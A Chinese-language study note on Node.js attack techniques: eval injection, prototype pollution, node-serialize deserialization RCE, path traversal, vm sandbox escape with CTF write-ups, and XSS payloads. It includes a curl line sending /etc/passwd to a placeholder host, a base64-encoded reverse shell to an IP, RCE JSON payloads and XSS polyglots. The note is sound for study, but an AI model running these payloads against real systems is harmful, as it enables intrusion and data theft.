前言
Nodejs常见漏洞学习和总结,并且方便以后扩展。
0x01 危险的函数所导致的命令执行
eval()
eval()函数可计算某个字符串,并执行其中的javascript代码。和PHP中的eval函数一样,如果传入到函数中的参数可控并且没有经过严格的过滤时,就会导致漏洞的出现。
简单的例子:
main.js
| 1 | const express=require("express"); | 
漏洞利用:
Nodejs中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用。
弹计算器(windows):
| 1 | /eval?q=require('child_process').exec('calc'); | 
读取文件(linux):
| 1 | /eval?q=require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps'); | 
反弹shell(linux):
| 1 | /eval?q=require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMjMyLjY5LzU0NzggMD4mMQog|base64 -d|bash'); | 
如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load('child_process').exec('calc')来执行命令。
paypal一个命令执行的例子:
[demo.paypal.com] Node.js code injection (RCE)
(使用数组绕过过滤,再调用child_process执行命令)
类似命令
间隔两秒执行函数:
some_function处就类似于eval函数的参数
还有使用函数的原生对象,例如输出Hello world。
0x02 Nodejs原型链污染漏洞
javascript原型链参考文章:继承与原型链
文章内关于原型和原型链的知识写的非常详细,就不再总结整个过程了,以下为几个比较重要的点:
- 在javascript中,每一个实例对象都有一个prototype属性,prototype属性可以向对象添加属性和方法。
例子:
| 1 | object.prototype.name=value | 
- 在JavaScript中,每一个实例对象都有一个 - __proto__属性,这个实例属性指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对象的原型对象:- 1 
 2
 3- objectname["__proto__"] 
 objectname.__proto__
 objectname.constructor.prototype
- 不同对象所生成的原型链如下(部分): - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16- const o = {a: 1}; 
 // o对象直接继承了Object.prototype
 // 原型链:
 // o ---> Object.prototype ---> null
 const a = ["yo", "whadup", "?"];
 // 数组都继承于 Array.prototype
 // 原型链:
 // a ---> Array.prototype ---> Object.prototype ---> null
 function f(){
 return 2;
 }
 // 函数都继承于 Function.prototype
 // 原型链:
 // f ---> Function.prototype ---> Object.prototype ---> null
原型链污染原理
对于语句:object[a][b] = value如果可以控制a、b、value的值,将a设置为proto,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。
例子:
| 1 | object1 = {"a":1, "b":2}; | 
结果如下:
| 1 | Hello World | 
最终会输出两个Hello World。为什么object2在没有设置foo属性的情况下,也会输出Hello World呢?就是因为在第二条语句中,我们对object1的原型对象设置了一个foo属性,而object2和object1一样,都是继承了Object.prototype。在获取object2.foo时,由于object2本身不存在foo属性,就会往父类Object.prototype中去寻找。这就造成了一个原型链污染,所以原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象。
merge操作导致原型链的污染
merge操作是最常见可能控制键名的操作,也最能被原型链攻击。
- 例子:1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16function merge(target,source) { 
 for (let key in source){
 if (key in source && key in target){
 merge(target[key],source[key]);
 }else {
 target[key]=source[key];
 }
 }
 }
 let object1 = {};
 let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}');
 merge(object1, object2);
 console.log(object1.a, object1.b);
 object3 = {};
 console.log(object3.b);
需要注意的点是:
在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。
结果如下:
| 1 | 1 2 | 
可见object3的b是从原型中获取到的,说明Object已经被污染了。
Code-Breaking 2018 Thejs
这个题目已经有很多的分析文章了,但因为它是一个比较好的学习原型链污染的题目,还是值得自己再过一遍。
题目源码下载:http://code-breaking.com/puzzle/9/
直接npm install可以把需要的模块下下来。
server.js
| 1 | const fs = require('fs') | 
问题出在了lodashs.merge函数这里,这个函数存在原型链污染漏洞。但是光存在漏洞还不行,我们得寻找到可以利用的点。因为通过漏洞可以控制某一种实例对象原型的属性,所以我们需要去寻找一个可以被利用的属性。
页面最终会通过lodash.template进行渲染,跟踪到lodash/template.js中。

如上图所示,可以看到options是一个对象,sourceURL是通过下面的语句赋值的,options默认没有sourceURL属性,所以sourceURL默认也是为空。
| 1 | var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : ''; | 
如果我们能够给options的原型对象加一个sourceURL属性,那么我们就可以控制sourceURL的值。
继续往下面看,最后sourceURL传递到了Function函数的第二个参数当中:

| 1 | var result = attempt(function() { | 
通过构造chile_process.exec()就可以执行任意代码了。
最终可以构造一个简单的Payload作为传递给主页面的的POST数据(windows调用计算器):
| 1 | {"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('calc')//"}} | 
(这里直接用require会报错:ReferenceError: require is not defined)
p神给了一个更好的payload:
| 1 | {"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}} | 
node-serialize反序列化RCE漏洞(CVE-2017-5941)
漏洞出现在node-serialize模块0.0.4版本当中,使用npm install node-serialize@0.0.4安装模块。
- 了解什么是IIFE: - IIFE(立即调用函数表达式)是一个在定义时就会立即执行的 JavaScript 函数。- IIFE一般写成下面的形式:- 1 
 2
 3- (function(){ /* code */ }()); 
 // 或者
 (function(){ /* code */ })();
- node-serialize@0.0.4漏洞点- 漏洞代码位于node_modules\node-serialize\lib\serialize.js中: - 其中的关键就是:- obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');这一行语句,可以看到传递给eval的参数是用括号包裹的,所以如果构造一个- function(){}()函数,在反序列化时就会被当中IIFE立即调用执行。来看如何构造payload:
- 构造payload - 1 
 2
 3
 4
 5- serialize = require('node-serialize'); 
 var test = {
 rce : function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});},
 }
 console.log("序列化生成的 Payload: \n" + serialize.serialize(test));
生成的Payload为:
| 1 | {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}"} | 
因为需要在反序列化时让其立即调用我们构造的函数,所以我们需要在生成的序列化语句的函数后面再添加一个(),结果如下:
| 1 | {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}()"} | 
(这里不能直接在对象内定义IIFE表达式,不然会序列化失败)
传递给unserialize(注意转义单引号):
| 1 | var serialize = require('node-serialize'); | 
执行命令成功,结果如图:

0x03 Nodejs目录穿越漏洞复现(CVE-2017-14849)
在vulhub上面可以直接下载到环境。
漏洞影响的版本:
- Node.js 8.5.0 + Express 3.19.0-3.21.2
- Node.js 8.5.0 + Express 4.11.0-4.15.5
| 1 | cd vulhub/node/CVE-2017-14849/ | 
用Burpsuite获取地址:/static/../../../a/../../../../etc/passwd即可下载得到/etc/passwd文件
具体分析可见:Node.js CVE-2017-14849 漏洞分析
0x04 vm沙箱逃逸
vm是用来实现一个沙箱环境,可以安全的执行不受信任的代码而不会影响到主程序。但是可以通过构造语句来进行逃逸:
逃逸例子:
| 1 | const vm = require("vm"); | 
执行之后可以获取到主程序环境中的环境变量
上面例子的代码等价于如下代码:
| 1 | const vm = require('vm'); | 
创建vm环境时,首先要初始化一个对象 sandbox,这个对象就是vm中脚本执行时的全局环境context,vm 脚本中全局 this 指向的就是这个对象。
因为this.constructor.constructor返回的是一个Function constructor,所以可以利用Function对象构造一个函数并执行。(此时Function对象的上下文环境是处于主程序中的) 这里构造的函数内的语句是return this.process.env,结果是返回了主程序的环境变量。
配合chile_process.exec()就可以执行任意命令了:
| 1 | const vm = require("vm"); | 
vm中的脚本等同于:
| 1 | // 获取Context | 
从上边脚本中可以看出vm不安全的原因。vm内部脚本的Context对象是在主程序中定义的,根据JS原型链原理,可以轻松获取主程序中的 Function 对象,用主程序的 Function 对象构造一个函数,那么这个函数运行时,就是在主程序闭包环境中执行的!所以,我们轻易地获取到了主程序的全局对象 process,最终控制主程序!
为了避免上面这种情况,可以将上下文简化成只包含基本类型,如下所示:
| 1 | const vm=require('vm'); | 
与此同时我们还可以使用vm2,但是也不是绝对安全的。
参考链接
最近的mongo-express RCE(CVE-2019-10758)漏洞就是配合vm沙箱逃逸来利用的。
具体分析可参考:CVE-2019-10758:mongo-expressRCE复现分析
BreizhCTF 2019 - calc-2
CTF URL: https://www.breizhctf.com/
Solves: 0 / Points: 400 / Category: Jail
挑战说明
题目源码
| 1 | const readline = require('readline'); | 
沙箱是使用Node.js vm module来实现的,我们只能使用其中的log()函数。
题目解决
我们的目标是执行系统命令来获取flag。
第一步:虚拟机逃逸
为了从虚拟机逃逸,我们将使用构造函数的构造函数来创建具有受控主体的匿名函数。
例如(使用chrome console):
| 1 | > this.constructor.constructor("alert(1)"); | 
使用这种技术,我们可以在vm上下文之外执行代码。实际上,this通过调用返回的对象constructor不限于log函数:
| 1 | > log(this.constructor.constructor('return this')()); | 
与vm上下文相比:
| 1 | > log(this); | 
第二步:执行一个shell命令
脚本的process.mainModule模块已经被清除,因此我们无法访问require函数。
| 1 | /* remove mainModule for better security */ | 
但是,我们确定该binding函数在构造函数返回的对象上可用。
| 1 | > log(this.proc = this.constructor.constructor('return this.process')()); | 
该binding功能允许加载内部模块。首先,我们尝试使用fs模块从文件中读取flag。
| 1 | > log(this.constructor.constructor('return this.process.binding')()('fs')) | 
Fail:(
但是我们能够列出目录并且标识flag的位置:
| 1 | > log(this.constructor.constructor('return this.process.binding')()('fs').readdir('./', {}, "","", function (err, data) {data})); | 
后来题目的作者给了以下tip:
| 1 | ou don’t have child_process and its exec function, so write it | 
因此,让我们来阅读nodejs source code on Github for child_process:
chile_process模块的内部通过绑定process_wrap来调用spawn函数执行命令:
| 1 | const { Process } = internalBinding('process_wrap'); | 
因此我们必须创建一个Process对象并调用其spawn函数执行系统命令:
1-检查绑定是否不会失败:
| 1 | > log(this.constructor.constructor('return this.process.binding')()('process_wrap')); | 
2-实例化一个Process对象:
| 1 | > log(this.proc_wrap = this.constructor.constructor('return this.process.binding')()); | 
3-spawn使用良好的参数调用该函数:
| 1 | > log(this.env = this.constructor.constructor('return this.process.env')()); | 
4-payload:
| 1 | log(this.proc_wrap = this.constructor.constructor('return this.process.binding')()); | 
参考链接:
https://tipi-hack.github.io/2019/04/14/breizh-jail-calc2.html
https://es6.ruanyifeng.com/#docs/proxy
https://segmentfault.com/a/1190000012672620
0x05 javascript大小写特性
在javascript中有几个特殊的字符需要记录一下
对于toUpperCase():
| 1 | 字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S" | 
对于toLowerCase():
| 1 | 字符"K"经过toLowerCase处理后结果为"k"(这个K不是ascii的K) | 
在绕一些规则的时候就可以利用这几个特殊字符进行绕过
CTF题实例 - Hacktm中的一道Nodejs题
部分题目源码:
| 1 | function isValidUser(u) { | 
解题时需要登录管理员的用户名,但是在登录时,isValidUser函数会对用户输入的用户名进行toUpperCase处理,再与管理员用户名进行对比。如果输入的用户名与管理员用户名相同,就不允许登录。
但是我们可以看到,在之后的一个判断用户是否为管理员的函数中,对用户名进行处理的是toLowerCase。所以这两个差异,就可以使用大小写特性来进行绕过。
题目中默认的管理员用户名为:hacktm
所以,我们指定登录时的用户名为:hacKtm 即可绕过isValidUser和isAdmin的验证。
题目完整Writeup:HackTM中一道Node.js题分析(Draw with us)
0x06 常见的xss payload
1.无字母的xss payload:
javascript中调用函数完全可以不需要存在任何字母,js中的匿名函数:
| 1 | //我们可以使用以下方式创建一个函数: | 
构造的脚本:
| 1 | function stringToHex(str,mode=8){ | 
一般可以绕过下面的验证:
| 1 | function filterXss(string) { | 
你可能会想那么我们直接这样过滤就好了:
| 1 | function filterXss(string) { | 
但是上面的过滤是错误的,因为开发人员认为[\\({]是\,(,{的集合,而实际上,RegExp方式创建正则表达式时,需要写成[\\\\({],原因是:原因是:\在字符串里是转义符,在正则里也是转义符。
假如这个正则表达式[\\({],不允许(,{那么还可以执行javascript代码吗?答案是肯定的,如下:
| 1 | location.href="javascript:alert%281%29"; | 
使用location.href来执行js,并且将其中的括号与花括号进行URL编码。
最后给出我的过滤:
| 1 | function filterXss(string) { | 
2.标签-属性分割符
有些过滤器会“天真地认为”只有某些特定字符可以分隔标签及其属性,下面给出的是在Firefox和Chrome中能够使用的有效分隔符的完整列表:
| 十进制值 | URL编码 | 介绍 | 
|---|---|---|
| 47 | %2F | 正斜杠 | 
| 13 | %0D | 回车 | 
| 12 | %0C | 分页符 | 
| 10 | %0A | 换行 | 
| 9 | %09 | 水平制表符 | 
使用方式
一般来说,你的Payload构造如下:
| 1 | <svg onload="alert(1)"> | 
你可以尝试使用上述字符来替换svg和onload中间的空格,这样就可以保证HTML仍然有效并且Payload能够正确执行(DEMO:有效的HTML):
| 1 | <svg/onload=alert(1)><svg> | 
3.基于javascript事件的xss
详细参考资料:更多的HTML事件
标准HTML事件
0点击事件:
| 事件名称 | 标签 | 备注 | 
|---|---|---|
| onload | body, iframe, img, frameset, input, script, style, link, svg | 适用于0-click,但通常会被过滤掉 | 
| onpageshow | body | 适用于 0-click,但只能用在非DOM注入中 | 
| onfocus | 大多数标签 | 适用于 0-click:配合autofocus=””使用 | 
| onmouseover | 大多数标签 | 如果可能的话,添加参数值来让其尽可能的大。 | 
| onerror | img, input, object, link, script, video, audio | 确保传递参数来终止运行 | 
| onanimationstart | 与任何可以设置动画的元素组合 | 启动,然后开始CSS动画 | 
| onanimationend | 与任何可以设置动画的元素组合 | 启动,然后结束CSS动画 | 
| onstart | marquee | 在字幕动画启动时启动-仅限Firefox | 
| onfinish | marquee | 在字幕动画启动时启动-仅限Firefox | 
| ontoggle | details | 必须提供’opne’参数以支持0-click | 
使用样例:
| 1 | <body onload=alert()> | 
5.古怪的XSS向量
下面给出的是一些比较”奇葩”的XSS测试向量,这些测试向量很少见:
| 1 | <svg><animate onbegin=alert() attributeName=x></svg> | 
6.XSS多覆盖样例
下面我给出了几份XSS的多段代码,因为有的时候我们只需要输入特定的字符,或者只需要一个基于DOM或基于非DOM的注入场景。
| 字符 | 使用 | 多段代码 | 
|---|---|---|
| 141 | DOM和非DOM | javascript:”/*‘/*`/*--></noscript></title></textarea></style></template></noembed></script><html " onmouseover=/*<svg/*/onload=alert()//> | 
| 88 | 非DOM | "'--></noscript></noembed></template></title></textarea></style><script>alert()</script> | 
| 95 | DOM | '"--></title></textarea></style></noscript></noembed></template></frameset><svg onload=alert()> | 
| 54 | 非DOM | "'>-->*/</noscript></ti tle><script>alert()</script> | 
| 42 | DOM | "'--></style></script><svg onload=alert()> | 
7.框架
为了攻击框架,我们还需要对相关的模板语言进行研究和分析。
AngularJS
| 1 | {{constructor.constructor('alert(1)')()}} | 
9.XSS过滤器绕过
圆括号过滤
利用HTML解析器和JS语句:
| 1 | <svg onload=alert`1`></svg> | 
限制字符集
下面这三个站点可以将有效的JS代码转换为所谓的“乱码”来绕过绝大多数的过滤器:
1、JSFuck
2、JSFsck(不带圆括号的JSFuck)
3、jjencode
关键词过滤
避免使用的关键词:
| 1 | (alert)(1) |